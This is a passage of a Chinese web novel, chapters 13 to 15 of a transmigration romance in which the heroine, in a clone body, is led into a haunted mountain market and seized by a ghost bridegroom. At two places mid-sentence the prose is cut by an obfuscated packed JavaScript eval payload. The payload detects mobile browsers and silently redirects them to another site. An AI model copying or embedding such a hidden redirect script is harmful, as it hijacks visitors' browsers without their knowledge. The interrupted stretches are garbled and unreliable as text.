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原著岳婉吟刚到焕山的时候，宣凌好像也邀请过她放河灯，不过被拒绝了…… 常栩突然想到什么，叫住店小二，询问是不是只有明天能放河灯？ 店小二道：“当然了，要是随便就能放，那河还能看嘛？只有明天一天！” 也就是说，岳婉吟大概率明天能到！ 常栩心下一喜，马上邀请宣凌明天一起去河边。 宣凌显然并没有什么兴趣：“无稽之谈而已，哪会有什么仙人……” 店小二“啧”了一声，在他耳边道：“这位公子好生不解风情，辜负人家姑娘一番心意。” 宣凌：“……” 他似乎意识到了什么，眸光微凝。 常栩此时一心想着做任务，没在意店小二絮叨些什么。她熟练地挽住宣凌的手臂，仰起小脸，眼巴巴地望着他：“宣凌哥哥，就明天，一天就好！你就再陪我走一走，行吗？” 在店小二促狭的注视下，宣凌略显僵硬地点了点头，说：“……也好。” 第二天上午，河岸两侧已有不少成双成对的年轻男女挽手同游。 虽说是“中元节”，焕山城的习俗与常栩所知亦有微妙的不同。往来行人衣着多为深深浅浅的红色，似乎并不以此为忌讳。她自觉入乡随俗，也给自己换上一身红色罗裙。 想着今天定能完成任务，常栩也不着急了，走走停停，看什么都觉得有趣。 摊贩们早早开始叫卖，街边的木架上悬挂着繁复的花灯、纸船，还有各类杂七杂八的小东西。 宣凌一袭墨色长衫跟在她身后，目光不时掠过河面上零星的纸船。 “宣凌哥哥，快来！” 常栩站在一处摊位前，兴冲冲地唤着宣凌。 待宣凌走近，她嘿嘿一笑，倏地将藏在身后的面具扣在他脸上。 这张面具是个怒目的黑脸鬼怪，戴在宣凌脸上，衬得他活像从阴司来的夜叉。 常栩越想越觉得有趣，笑得乐不可支。 宣凌并不明白她为何如此开心，但见她笑靥如花，眸中映着自己的身影，唇角也不自觉地微微扬起。 不过很快，常栩就笑不出来了。 【宿主请注意！您的分身术将在半个小时后解除，请合理安排时间，切勿沉迷。】 常栩：“……” 你、不、早、说！ 她一心想着做任务，把这茬给忘了！ 13. 第十三章 不期而遇 刚过晌午，日头正盛，常栩却觉得自己的手脚有些发凉。 也不知道是不是心理作用，她的身体好似不受控制，踉跄着向后倒去。 旁边的宣凌扶住她，察觉到异样，敏锐地问：“怎么了？” 常栩作扶额状，一副虚弱的样子：“宣凌哥哥……我，我好像生病了，要去医馆一趟，你、你继续逛吧……” 说完，她伸手推开宣凌，就要先一步离开，脑子中只有一个念头—— 赶紧找个地方躲起来，绝对不能被宣凌发现！ 常栩这谎扯得没头没尾、漏洞百出，宣凌自然不会轻易相信。他摘掉面具，伸出手臂挡住她的去路：“别乱走。哪里不舒服，让我看看。” 宣凌不由分说地掰开常栩的手，凝视她的面容，那双黑沉沉的眼眸少见地浮现出真切的关心。 没等常栩反应过来，少年微凉的手已经贴在她的额头上，这让她短暂地愣了一下。 她未曾预料到宣凌会做出这样略显亲昵的动作。 现下情况紧急，常栩只想离宣凌越远越好，摇头甩掉他的手，试图挣脱：“没事，可能是走多了有些中暑，我去抓点药就好，你先在这里等我……” “我陪你去。” 宣凌不由分说地握住她的手，带她寻找附近的医馆。 常栩第一次觉得宣凌如此难缠，简直欲哭无泪。 要是等下宣凌发现她突然失去意识，肯定会察觉到不对劲的，若是再顺藤摸瓜……嗯，届时她可能就要一步到位，直接速通大结局了！ 常栩急得不行，心里快速思索对策。 这时候她看到有一群人抬着祭祀的道具经过，一咬牙，猛地甩开宣凌的手，麻溜地钻进人群之中。 没办法，逃跑总比被抓个现行强！她用衣袖蒙在脑袋上，祈祷宣凌找不到自己，心想光天化日的，宣凌应该不会做出什么大动作—— 还没走出几步，身后传来一股强烈的气流。 人群之中爆发出阵阵惊呼，抬着道具的人们被吹得摇摇晃晃，没法站稳，七零八落地倒在地上，转瞬间一片狼藉。 宣凌抓住常栩的手腕：“你到底怎么了？” 常栩真的要哭了。她不敢转身，用衣袖蒙着脸，自欺欺人地说：“这位公子你认错人了我不认识你……” 宣凌：“……” 他终于有些生气了，手上稍稍加重了力气。常栩倒吸一口气，想要抽回手臂，却纹丝不动。 这一番动静下来，街上的百姓都注意到了两个人的拉扯。 见宣凌拉着一个弱女子不放，围在一边的人群指指点点，隐隐传出“登徒子”“强抢民女”之类的话语。 眼看无路可走，时间又所剩无几，常栩满脑子都是“完了完了”，绝望地闭上眼睛—— “汝是何人？放开那位姑娘！” 宛如天籁般的声音从上空传来，与此同时，常栩听到了系统传来的消息：【叮！任务节点完成！您获得30点羁绊值，请注意查收。】 一袭靛青衣裙的女子飘然而至，吸引了所有人的目光。随后，人群中传来此起彼伏的吸气声，脸上满是惊艳之色。 常栩顾不得回头，马上给分身术续费，听见充值成功的消息，一颗心终于落了下去，劫后余生般长舒一口气。 直到这时，她才注意到由自己引起的混乱。 岳婉吟落到地面，刚要动手，就见“登徒子”略微侧身，露出了熟悉的面容，不由得讶异道：“宣师弟，怎会是你？那身后这位是……” 她收起长剑，目光转向宣凌身后蒙着脑袋的女子。 常栩知众人都误会了，忙转过身，正要扯下衣袖与岳婉吟解释，却不想宣凌反手将夜叉面具扣在她脸上。 宣凌冷静地说：“岳姑娘好久不见，她是我朋友，生病了不能见阳光，我这就带她去治病。” 常栩：“……” 胡言乱语！她就这么见不得人吗！ 岳婉吟狐疑地打量姿态怪异的两个人，目光停在常栩绯红的衣裙上，恍然道：“莫非是长生姑娘？” 宣凌：“……倒也不是。” 他的嘴角微妙地抽搐了下，脸上闪过一丝无语。 常栩吃了一惊，心想不愧是女主，眼光如此毒辣！ 她做贼心虚，莫名怕岳婉吟真认出她来，也不挣扎了，老老实实地缩在宣凌背后。 说话间，几名衣着青离宫服饰的人出现在空中，为首的长老扫了一眼熙攘人群，挥手将他们退开，留出空地，而后落到岳婉吟身边，问道：“晚吟，发生何事了？” 岳婉吟摇了摇头：“无事。是我唐突了，还请师叔和城主见谅……怎么不见城主？” “我、我在这儿……” 略显肥胖的男人艰难扒开人群，上气不接下气地说：“岳姑娘，为何……为何如此之急，我这、凡人之躯，实在是根本上…… 一同赶到还有几名苍华弟子，他们看到宣凌，露出惊喜的神情：“宣师弟！你也在焕山啊？” 姓杜的长老眉头一挑，目光转向沉默不语的宣凌。 百姓们平日里何时见过这么多的仙家，纷纷驻足，很快就将道路围得水泄不通。 城主有些尴尬。 焕山城近来发生一些怪事，他有意寻求青离宫的帮助，特意亲自迎接岳婉吟和杜泽良。正要前往现场查勘，不想岳婉吟突然飞走，害得他在后边狼狈追赶，好生丢脸。 岳婉吟简单解释几句，将宣凌引荐给杜泽良：“师叔，这便是苍华派的宣凌公子……” 杜泽良打量着宣凌，语气毫不客气：“原来你就是陆千景去年收的弟子，我还没找你呢，还敢出现在我面前！我问你，苍华派令你护送婉吟，怎敢如此不上心，竟然独自离开？你最好给我解释清楚。” 岳婉吟道：“师叔莫要如此。宣公子是有要紧事……” “能有什么要紧事？”杜泽良看了一眼常栩，“就是带女子来焕山玩乐把？晚吟，你是被这小子骗了。不过也难怪，苍华派这样的小门小户，弟子们定然也没见过什么好风景，才会做出这种事来。” 常栩看出来了，这位青离宫的长老根本瞧不起苍华派。她怎么说也是苍华派的大师姐，心中十分不爽，暗自记下杜泽良的名字，决定日后见面了一定讨教回来！ 那几名苍华派的弟子们却没有表现任何不满，唯唯称是。 毕竟青离宫可是仅次于天元宗的大门派、道清盟的二把交椅，小小苍华派自然没有叫板的资格。 宣凌也不生气，脸上扬起明媚笑容。 “前辈教训的是。晚生为追捕齐洋而来，那人伤了岳姑娘，不知会否继续作乱，我以为必须尽早除掉才算保证岳姑娘的安全。不过，既然前辈如此说了，宣凌铭记，日后定不会再做无用之事。” “你！” 杜泽良听出宣凌话中的意思，更加不满：“牙尖嘴利的小子！陆千景就是这么教徒弟的吗！” 岳婉吟打断了他，声音强硬了一些：“师叔，婉吟承苍华派帮助，请您莫要再说这些话了。” 杜泽良脸上抽动了一下，不再看宣凌，没好气地对城主说：“走吧，别再浪费时间了！” 缓过劲儿来的城主陪笑道：“好好好，仙长们快随我来，自从发生那事儿之后，婚房我都不敢动，就等着诸位……” 杜泽良施法拨开围观人群，梗着脖子大步走远。 城主刚要追上去，瞥见站在原地的宣凌，眼睛一转：“宣公子是吧？听岳姑娘说你曾制服那嚣张的剪命人，定然实力不凡，不如同往？” 岳婉吟看向常栩，善解人意道：“既然这位姑娘生病了，我们还是不要……” “不不不，我已经好了，没事了！一起去吧！” 常栩还想让宣凌和岳婉吟多接触呢，可不能耽误正事，头摇得和拨浪鼓一样。 几个苍华派的弟子凑到宣凌身边诉苦，说因为他没护送岳婉吟，杜泽良对他们横挑鼻子竖挑眼，实在是苦不堪言。 “我说宣师弟，既然来了，还是跟着岳姑娘吧，免得那杜长老真去掌门那里告状。” 城主笑眯眯地说：“这位小姑娘都这么说了，宣公子，和我们走吧。” 宣凌看了常栩一眼，颔首说“好”的同时，手上力气又加重了几分。 常栩小声说不会再跑了，让他松开。可宣凌充耳不闻，径直走着，她也只得亦步亦趋地跟在后面。 一路上，城主压低了声音介绍城内的怪事，语气讳莫如深。 常栩仔细听了个大概，说的是近几个月，焕山城发生了多起新娘失踪案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362903|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件。 月圆之日的黄昏时分，抬着新娘的轿子出了城，落地的时候里面却是空无一人，再不见踪影。 这事儿引得城内人心惶惶，又逢中元节，不少百姓都怀疑有魔物作祟，为此还专门请了道士施法——就是常栩和宣凌入城那日所见队伍。 即便如此，城主还是放心不下来。毕竟失踪的新娘至今死不见尸，怎么也要有个交代，便想请青离宫的仙长帮忙。 杜泽良对此事不甚上心，只道是焕山城出现了采花贼，许是修炼了什么旁门左道，装神弄鬼而已。 常栩正想着这个案子原著里好像没见过，岳婉吟不知何时站在她身旁，正好奇地看着她。 “姑娘为何一直戴着面具？” 常栩眨了眨眼睛：“那个，这是因为……” 不等她说完，宣凌将她往后一扯，不动声色地挡住岳婉吟的视线，淡淡道：“前面就是客栈了。岳姑娘，我这位朋友只是凡人，恐怕出什么意外，还是让她先回客栈休息吧。” 回客栈干什么？常栩还想跟去凑热闹，就见宣凌扭过头来，嘴角含笑，眼睛却直勾勾盯着她。 嗯……他的心情似乎不太好。 识时务者为俊杰，常栩忙点头道：“对、对，我就不去了。” 岳婉吟没再追问：“好吧，是我考虑不周了。姑娘好好休息，晚吟明日再来看望。” 宣凌松开常栩的手腕，在她耳边低声叮嘱：“哪里都不准去，等我回来。” 常栩对他的态度十分纳闷。 回到客栈之后，她摘下了脸上的面具，拿在手上，后知后觉地好像明白了什么—— 宣凌是不是怕岳婉吟误会他们两个的关系，所以才不让自己跟着？ 想了半天没个结果，常栩想要询问系统，突然收到了新的消息：【宿主请注意！下一剧情点：宣凌与岳婉吟抵达太阴城。期限为十天。】 来了！ 《诛天》前期最重要的副本之一，韩尚同以及苍华派在修真界崭露头角的关键一战！。 焕山与太阴城相去不过百里，现在宣凌和岳婉吟两个人已经会合，等到了时候，他们同去太阴城也是顺理成章之事。 常栩想，这次总不会再出什么问题了吧？ 她美滋滋地躺在床上，打算等宣凌回来就找个借口开溜。 宣凌比预料中要早回来，“砰”的一声推开门，动作颇为急切。 常栩正要扯借口先行离开，见宣凌已经拿上了包裹，二话不说将她从床上拽起来：“跟我走。” 常栩一脸懵：“去哪儿？” 宣凌：“我不想留在这里。你跟我回永川镇。” 常栩：“……” 她深吸一口气。 这个破系统是不是暗地里给她调整游戏难度了？怎么这么多意外！ 要是宣凌回了永川镇，太阴城的剧情要怎么走！ 常栩睁着大眼睛，据理力争：“我不走，还没放河灯呢！而且那位姐姐很温柔，是宣凌哥哥的朋友对吗？我也想认识她！” 宣凌板起脸：“不许。有我在就够了，不许见她。” 常栩不知道他为什么不爽，试图安抚他：“宣凌哥哥，你是不是怕那位姑娘误会？我可以和她说清楚，只把我当妹妹就好。” 宣凌：“……” 他更加烦躁了，脸色一沉，不再和常栩废话，挥手掀开窗户，闷声将她打横抱起，身子一跃，竟要强行带她离开。 常栩一口气差点没喘上来，大惊失色，不住地挣扎。她没想到宣凌如此不讲理，好说歹说让他放自己下来，但是宣凌无动于衷。 她也急了，扯着嗓子大喊登徒子。宣凌见她情绪激动，道：“我可以带你去别的地方。哪里都可以，只要你想。” 我就想在这里啊！ 常栩当真是欲哭无泪，这可是主线任务，关系着咱们未来的命运啊！能不能别添乱了，好好走剧情行不行！ 就在常栩磨牙准备咬宣凌的时候，一股阴风袭来，她不自觉打了个寒颤，才发现到周围好像有些不对劲。 怎么这么安静？ 二人刚刚走过焕山城的城门，外面却不知何时起了浓雾，掩盖了灯火通明，隔绝了人间烟火。 幽深寂静的城外，竟然看不到一个人影。 14. 第十四章 山市 一股阴寒冷风伴着雾气袭来，吹散了周遭的温度。 常栩穿得单薄，很快就感觉手脚发凉，呼出的气都成了水雾。她牙齿打颤、冷得不行，这下老老实实地缩进宣凌的怀中。 宣凌运转灵力护住常栩，而后眯起眼睛打量周围，顺着远方青色的灯，缓慢寻找方向。 常栩暖和了一些，问道：“这是什么地方？” 宣凌面色凝重。他摇了摇头，只道：“焕山城内有古怪。有什么……人在搞鬼。” 朦胧雾气的笼罩下，焕山城外的山林若真若幻，像是仙境，又像是鬼蜮。 白日热闹的郊外竟然一个人也看不见，空旷的天地间，只有幽幽青光悬挂在某处，似是指引方向。 “有人吗？” 寂静的环境中，常栩清晰地听到女子的呼唤。她从怀中探出头，却只有无尽的苍茫，不见人影。 “宣凌哥哥，好像有人在。” 宣凌顿了顿，停下脚步，侧身望向身后。他的手上浮现出靛蓝色的灵气，荧光一般漂浮、升起，点亮了二人所在的方寸之地。 不多时，岳婉吟的身影缓缓从浓雾中走出。 她先是看到了宣凌，脸上露出惊喜的神情：“宣公子！还有……这位姑娘？” 随即，岳婉吟目光下移，看清了两个人的姿态。 常栩眨了眨眼睛，觉得场面有些尴尬。 虽说岳婉吟身为女主，注定不会喜欢上男二，但她也不能让宣凌彻底没希望啊！ 于是常栩赶紧麻溜从宣凌身上下来，尴尬地解释道：“那个，岳姑娘你千万别误会，只是因为太冷了，不是有意抱在一起……” 不对，这话怎么越说越怪，好像做人家小三一样……她怀疑自己的脑子大概是被冻僵了。 相较于常栩的慌里慌张，另外两个人倒是神态自若。 宣凌颇为熟练地抓住她的手臂，而后看向岳婉吟：“岳姑娘，你是如何到此的？” 岳婉吟道：“我挂念着新娘失踪之事，想请宣公子帮忙，到了客栈却不见二位踪影。我以为是出了什么意外，便一路寻找，没想到……” 她环顾四周，纤眉微蹙：“来往焕山城这么多次，却从未曾见过这般景象。” 听她这么说，宣凌抬头看向透过浓雾、隐隐投下的惨白月光，若有所思道：“中元节……今日，应是月圆之夜。” 岳婉吟愣了一下：“宣公子的意思是……” 话还未说完，一直若有若无指引方向的青色灯光忽地闪了一下。紧接着，旁边相距不远、差不多的高度，又多了一盏相似的灯。 两道青光盈盈高悬，偶尔同时闪烁。 “这里怎么会有灯？” 常栩正觉好奇，想要看得仔细些，宣凌的脸色倏地一变，瞬间召唤出虚名剑。几乎同时，岳婉吟也察觉到异样，三个人一同急步后退。 下一刻，一阵冷风吹起衣袖，雾气被拨开，露出了“青灯”的真正面目—— 竟然是两只巨大的眼睛，正幽幽盯着他们！ 近在咫尺的前方，阴影中浮现出镶嵌这对巨目的完整的脸，与常栩和宣凌入城之时所见游神如出一辙。 高耸的、岿然不动的神像，山一样挡住了前路。唯有那双眼睛似是活物，俯视身前的三位不请自来的客人。 “戌时已至——恭迎四方来客——” 伴随着不知名的打更声，常栩看到神像的背后渐渐亮起，出现了山的影子，远远浮现出亭台楼宇。层层雾霭之中，还有吵嚷的人声，仿佛有一场集市。 再回过头，身后的来时路已经完全融进了黑暗，深渊一般漆黑。 “山……山市？” 岳婉吟似乎想到了什么，不可思议地喃喃道。 宣凌将常栩护在身后，警惕地盯着神像：“岳姑娘知道此处？” 岳婉吟有些不确定：“曾听说过，但那只是古籍之中的传闻，我也是第一次见……” 常栩听得一头雾水。 怎么回事！又是新娘失踪案，又是古怪的山市，都是从哪里冒出来的啊！原著中根本没有提到过啊！ 她在脑中质问系统，要求它无条件归还自己身为穿越者的上帝视角！ 系统也不太了解，不过它理直气壮：【由于蝴蝶效应，宿主在走任务之时不可避免触发隐藏剧情，这也是宿主探索小说世界的重要一环。】 【来都来了，请宿主顺便做个任务吧。叮！支线剧情：探访山市。请宿主在三个时辰内完成。】 常栩：“？” 这么随意的吗！ 宣凌和岳婉吟很快达成共识，二人牵起常栩的手，同时施法，一起越过神像、飞入云雾山市之中。 落到地面之后，常栩感觉脚下的路有些眼熟，随后恍然——这不就是他们来时走过的荒岭吗？ 此处与焕山如出一辙，却是月色惨白、雾霭弥漫。 山路上人影幢幢，沉默地从三人的身侧走过。 这些人有的秉烛夜游，露出惨白死寂的脸。有的带着面具或斗笠，隐藏了自己的面容。那些漏了脸的，多数奇形怪状，依稀能从他们脸上看到狼、虎等动物的痕迹。 常栩虽然没什么灵力，但凭直觉也能猜到，这些应该都是妖怪或者邪祟。 岳婉吟神情复杂，低声道：“我在典籍中看过，焕山原本名‘奂山’，几百年前有文人说此地闹鬼，惹得无人敢来。后来就改名为‘焕山’，意在用灯火通明压一压传闻中的阴气，不过如今开来……” 似乎并没什么用。 谁能想到，青离宫治下、繁华的焕山城中，竟有这么多邪祟聚集。 宣凌忽然道：“这些妖邪聚在此处，恐有异谋。岳姑娘，我打算在此查探一番，你不妨先行离开……” 岳婉吟摇头，坚定道：“宣公子方才也说了，此地或许牵涉新娘失踪之事，我正式为此事而来。倒是……这位姑娘，凡人之躯，怕是不便在此久留。” 见两个人同时望向自己，常栩生怕他们商量着把自己送走，忙抓住宣凌的衣袖：“我不怕！我要跟着你们！” 她心想，这次就不给你们留二人空间了，我还有支线任务要做，可不能走。 宣凌没再说什么，再度将夜叉面具扣在常栩脸上，让她跟好自己。三个人隐藏好气息，不动声色地跟在人群后面。 走在山路上，路边陆续浮现许多摊位和店铺，只是卖的东西稀奇古怪。 有几样东西常栩看着眼熟，都是这几日在焕山城见过的一些“吉祥物”，如今在这里又看见，莫名感觉鬼气森森。 透过偶尔散开的雾气，常栩还能看到崖下环绕的河流，其中漂浮着各色游船、画舫，很多样式她白日在摊贩上见过。 她不禁感到不可思议，连纸船到了这里都成了真船，莫非真的是阴界？ 说起来，《诛天》的世界观中好像确实有鬼，但没怎么展开描述，只是在旁白中一笔带过而已。 对了，还有入口处那座神像……想到这两日间所谓的“打邪”活动，常栩起了一身鸡皮疙瘩，那不会是专门招鬼的吧？ 就在三人暗自观察之际，一名商贩冷不丁地开口：“请留步。” 这人戴着斗笠，看不清面容，只露出一双黑白分明的眼睛，看起来有些瘆人。他看着宣凌，幽幽道：“公子似乎并非山市之人，您在找什么？我这里或许有您需要之物。” 岳婉吟有些担忧，宣凌冲她摇了摇头，将常栩交给她，轻声道：“无妨，我去打探一番。” 商贩的店铺就在十几步之外，常栩看宣凌跟着走了进去，关上门，隔绝了她的视线。 宣凌才踏入店铺，走在前面的商贩回过身，出其不意地打出一掌，直冲他的心口。他早有准备，反手钳制对方肩膀，手上的气流掀开斗笠。 黑色的魔气短暂地浮现，商贩却是满脸激动，顺势跪了下去：“宣凌殿下，您真的还活着！属下墨宁，参见四殿下！” “果然是你。” 宣凌并没感到意外，松开手，面无表情地问道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362904|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归弥也在此地吗？我在焕山城看到了他的印记。” 墨宁道：“您说的是神像上的吧？那是归弥长老半年前留下的，他也在寻找殿下您。” “找我？不是最支持我那兄长的吗，怎么会想到我？” 宣凌冷笑一声。 墨宁解释道：“殿下有所不知，您离开之后，二殿下和三殿下为争位之事互相残杀，许多魔族都被迫害，现在的危冥山一片混乱。” “归弥有意让您回去即位，这是几位长□□同的决定。既然殿下还活着，属下这便联系归弥长老，商量对策……” 宣凌眉头一挑，不置可否。 他看了一眼不远处的岳婉吟和常栩，问道：“这个山市是什么情况？你为什么会在此地？” 墨宁道：“说来话长了。三殿下的人一直在追杀属下，我也是无意间来了这里。焕山城的山市是一处天然形成的灵域，上代魔尊曾经派人在焕山城设下阵法，想要打通魔界入口，不过在大战之后就荒废了，现在只有一些流落人界的魔藏身于此。” “山市不与外通，殿下之所以进来，应是阵法感应到了您身上的魔气。至于那两位姑娘……恐怕是受到了山市中人的召唤。” 宣凌心下一沉：“难道没有办法离开？” “出去自然容易，只需找到‘城门’即可。不过，听闻那城门时隐时现、难以捉摸，可能要费些心力。殿下若是要离开，最好赶在天亮之前，否则要再等一日了。” 似是察觉到宣凌心中所想，墨宁主动道：“山市阴气重，您倒是没什么，与您同行的凡人可能会受到影响。属下这里刚得了一个法宝，或许能帮助殿下。” 他拿出一块清透的玉佩，又想到了什么，道：“对了，有个东西自称认识殿下，被卖到我这里，这就拿来给您看。” 宣凌拿着玉佩，漫不经心地说：“我哪有什么故人？” 他并没在意，垂头观察手中的法宝。 不一会儿，墨宁从房间深处拎着笼子走出来，里面关着一只通体漆黑、唯额间一缕白毛的怪鸟，扑腾翅膀、欣喜若狂地看着他。 “宣凌殿下！” 宣凌听见声音，难得愣了一下，抬起头：“王乌？” 名唤王乌的鸟儿激动得差点挤出笼子：“殿下！王乌可算见到您了！您是不知道，三殿下那个杀千刀的虐待我！还让我说您的坏话！我宁死不屈，他就把我卖到这里来了！” 墨宁露出受不了的神情，狐疑道：“殿下，这么聒噪的鸟，当真是您的……旧相识？” 王乌懒得理他，继续哭诉：“那群人都是一群没见识的，竟然说我低贱！殿下您可要为我做主啊，我可是魔尊亲手送给云杳公子的！是高贵的狂鸟！” 宣凌接过笼子，冷笑着说：“放心，有朝一日，我会让他们摘下脑袋给你道歉。” 听他这么说，王乌感动极了，嘚瑟地抖了抖脑袋，挺起胸膛，对墨宁说：“看吧！我早说了，四殿下最护着我了！” 墨宁这才想起来，魔界有传闻，魔尊曾为了让云杳公子开心，特意从人界找来一只最通人性的灵宠…… 莫非就是面前这只欺软怕硬、趾高气昂的鸟？ 墨宁觉得，魔尊可能上当受骗了。 王乌自然不知道墨宁的腹谤，它在笼子里上蹿下跳，喋喋不休自己这一年来的悲惨遭遇。 就在这时，幽暗寂静的山市突然传来高亢的唢呐声，路上隐隐起了骚动。 墨宁看了过去，并不意外，习以为常道：“又是鬼新郎在迎亲了，不知这次又会从哪里抓来人族女子成亲……” 旁边的宣凌忽地意识到什么，二话不说放下鸟笼，动作急切地闪身走出店铺。 王乌：“……” 它话还没说完呢！ 墨宁看着宣凌的背影，十分意外。 宣凌殿下一向冷心冷情，他还是第一次从那张脸上看到担忧之色。 他的目光落在人群中的两位姑娘身上，好奇地想，莫非殿下有了喜欢的人？ 15. 第十五章 鬼新郎 店铺之外，岳婉吟不住地观察常栩，漂亮的眼中闪烁着好奇的光芒。 常栩被她看得浑身不自在，简直如芒在背，终于开口道：“岳姑娘，您有什么想知道的，就请问吧。” “啊，不好意思，是我唐突了。” 岳婉吟意识到自己的行为有些失礼，马上收回目光。片刻之后，还是忍不住道：“裳儿姑娘，你和宣公子两个人是……” 常栩道：“我是金蝶山庄的丫鬟，宣凌只是看我可怜才将我带在身边，没别的关系，你别误会。” “可我看宣凌好像对你——” 岳婉吟正想说些什么，一阵高亢的唢呐声冲天而起、铺天盖地，平地惊雷般响彻死寂的山市。 路上死气沉沉的人影们似乎感应到了什么，纷纷避让开来。岳婉吟被裹挟着后退，她怕常栩出什么意外，忙将她护在身后，过了一会儿才堪堪站稳。 而后，常栩看到了盛大的迎亲队伍。 雾气弥漫的山路上，阴暗昏沉的山市，突兀地出现了一大片刺目的鲜红。 新郎模样的人在最前方骑马，他的身后，轿夫抬着一顶华丽的大红轿子，小厮们有的敲锣、有的打鼓，一派喜气洋洋的气息，与周围阴森的环境格格不入。 不、不对。 常栩以为自己看错了，揉了揉眼睛，待到队伍走近了些，她终于看清这个迎亲队伍的全貌，不由得倒吸一口凉气—— 这群人之中，除了新郎以外，不论是马、轿子，还是敲锣打鼓的仆从们，竟然都是纸扎的！ 岳婉吟敏锐地察觉到什么，盯着鬼新郎，低声道：“这个气息……不会有错，我曾在失踪新娘的家中感受过。” 她握紧了拳头，一向温婉的面容难得流露出愤怒之色。 常栩见她手上已然在积蓄灵力，想要劝她冷静，不要轻举妄动。 转念一想，岳婉吟本是为新娘失踪之事而来，如今罪魁祸首近在眼前，焉有放过之理？ 只怕免不了一番打斗了。 常栩倒不怎么担心岳婉吟，有女主光环在，总不会出什么大问题。 更该担心的是自己才对！她现在可不是许长生，手无缚鸡之力，随便来个妖魔鬼怪都能把她捏死。 常栩悄悄后退几步。她可不想被殃及池鱼，还是快些跟在宣凌身边为妙。 转身之时，她感受到有人在看自己，下意识望过去，猝不及防地与马上的新郎四目而对。 常栩来不及反应，身旁的岳婉吟惊呼一声。飞身而至的宣凌伸手要拉她，却只掠过衣角。 一眨眼的功夫，常栩已经落在了喧闹的迎亲队伍之中。 新郎模样的男子近在咫尺，相貌俊美，但是脸色惨白，隐有阴邪之气。 他从马上跃下，深情款款道：“接到你了，我的新娘。你已经穿好红衣在等我了。” 常栩：“……” 她低头看着自己这一身赶潮流的红色衣裙，十分无语。 中元节穿这个果然招鬼！ “裳儿！” 宣凌毫不犹豫地唤出佩剑，剑气携带杀意穿过人群，直取鬼新郎的首级。 然而鬼新郎只是微微瞥了一眼，随意地回了下手，水色的冰刃生生被挡了下来，在空中碎裂。 “不自量力。” 汹涌的灵力宛如狂风，迅猛地砸向宣凌。周围来不及躲避的人影发出惨叫，顷刻间化为血水。 常栩的心提了起来。 这个鬼新郎实力非凡，并非一般的炮灰杂鱼，只怕比韩尚同还要强上不少。 宣凌冷着一张脸，不断尝试靠近鬼新郎，却始终找不到机会，这让他有些烦躁，忍不住运使魔气。 然而……他看了一眼岳婉吟，又松开了手。如此一来，他很快落入下风。 岳婉吟相对冷静一些，手持瑶琴，挑起琴弦，拨动着清圣弦音。 她所修功法本身对这类邪术有一定的克制，因而能够有效地打退阻拦她的纸扎人，闯入迎亲队伍，试图带走常栩。 “青离宫的人？” 鬼新郎挡下岳婉吟的动作，感受到对方运用的功法，这才认真地打量这名女子。 随即，他惊讶地说：“竟然还有这等美人来此？今年的中元节，可真是热闹啊。” 见鬼新郎终于注意到岳婉吟，常栩心想你可算发现了，这位才是货真价实的女主！你抓我干什么啊！ 鬼新郎击退岳婉吟，看向常栩，仿佛察觉到她心中所想，将她拉到身边：“不过她不如你。你才是最有价值的。” 常栩听出他似乎话里有话，眨了眨眼睛，问什么意思。 鬼新郎靠近她的耳边，状似亲昵，问道：“你是奉月族，对不对？你瞒得过别人，可瞒不过我。” 常栩：“……” 一瞬间，她感觉毛骨悚然。 还没等常栩回过神来，一股奇异的香味才鬼新郎手中涌出，脑袋顿时一沉，昏了过去。 再次睁开眼睛，她已经来到了婚礼现场，红绸翻飞，堂上刻着大大的囍字，鲜红到有些诡异。 这是一处富丽堂皇的宅邸，除了常栩空无一人。 房间的角落溅有可疑的斑驳红点，虽然她很想自欺欺人说是红色油漆，但怎么想都不可能。 不过相比这个，她还有更重要的事情要问系统。 “你老实交代，为什么那家伙会知道我是奉月族？我现在又不是许长生！” 系统科普道：【宿主的分身技能本就基于许长生的功体而来，况且，您是奉月族的事实并不会因为改换身体而改变。】 常栩没想到这个体质如此霸道，竟然是直接绑定灵魂的吗？ 想到书中所写的奉月族的悲惨遭遇，她赶紧询问有没有什么救命良策。她可不想和一个鬼新郎成亲，字面意义上走入婚姻的坟墓。 系统说：【鬼新郎并不在原著剧情内，系统对他也知之甚少，恕爱莫能助。】 常栩：“……” 没用的东西！ 此地不宜久留，常栩只能自力更生，好不容易用力撞开房门，结果迎面就撞见一群列队欢迎的纸扎人，以及笑意盈盈的鬼新郎。 “我的新娘，你要去哪里？” 他不紧不慢地走向常栩，逼得她只能退回房间。 这种时候，常栩只恨这副身体没有任何法力，只能任人宰割！她暗暗决定，这次回去之后一定要找些功法修炼！要不然真是寸步难行！ 鬼新郎手上拿着红盖头，看样子是准备和她拜堂。 常栩思绪飞速运转，尝试嘴炮：“等等，先别急！那个、那个……咱们要不要先谈一谈？我有很多问题想问你！” “哦？”鬼新郎停下动作，饶有兴致地说，“你想要问什么？” 常栩道：“你先告诉我，为什么选我做你的新娘。” 鬼新郎微微一笑：“当然是因为你穿了红色。只要穿上红色衣服，我就能感觉到你的存在。这应该就是人类所说的‘缘分’吧。” 狗屁的缘分！ 焕山城之中男男女女那么多人穿红衣，常栩可不信偏偏这么巧选中自己，道：“你看中我，难道不是因为我是奉月族吗？” 鬼新郎并不否认。 